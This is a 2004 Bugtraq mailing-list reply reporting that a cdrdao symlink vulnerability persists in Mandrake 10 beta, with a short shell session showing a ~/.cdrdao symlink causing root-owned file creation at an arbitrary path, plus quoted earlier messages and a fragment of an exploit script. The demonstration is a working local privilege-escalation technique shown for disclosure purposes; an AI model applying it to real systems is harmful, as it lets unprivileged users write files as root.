In-Reply-To: <1157225765.20040907131857 (at) SECURITY.NNOV (dot) RU [email concealed]>

The vuln is still exist in cdrdao 1.1.9-5mdk + Mandrake 10 (beta 2).

I think cdrdao should drop root permission before save the config.

[newbug@localhost tmp]$ ls -al /blah

ls: /blah: No such file or directory

[newbug@localhost tmp]$ ln -s /blah .cdrdao

[newbug@localhost tmp]$ rpm -qf `which cdrdao`

cdrdao-1.1.9-5mdk

[newbug@localhost tmp]$ cdrdao blank --save

.

.

.

[newbug@localhost tmp]$ ls -al /blah

-rw-rw-r-- 1 root cdwriter 32 10月 2 10:41 /blah

[newbug@localhost tmp]$

newbug Tseng

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>To: =?Windows-1251?B?Suly9G1lIEFUSElBUw==?= <jerome.athias (at) caramail (dot) com [email concealed]>

>Cc: bugtraq (at) securityfocus (dot) com [email concealed]

>Subject: Re: cdrdao local root exploit

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>Dear Jérôme ATHIAS,

>

>This bug was originally reported to Bugtraq by Andreas Mueller on

>January, 15 2002

>

>--Sunday, September 5, 2004, 11:16:42 PM, you wrote to bugtraq (at) securityfocus (dot) com [email concealed]:

>

>JA> if [ ! -L $HOME/.cdrdao ];then echo "Could'n link to \$HOME/.cdrdao"

>

>

>

>--

>~/ZARAZA

>Íåïðèÿòíîñòè íà÷íóòñÿ â âîñåìü. (Òâåí)

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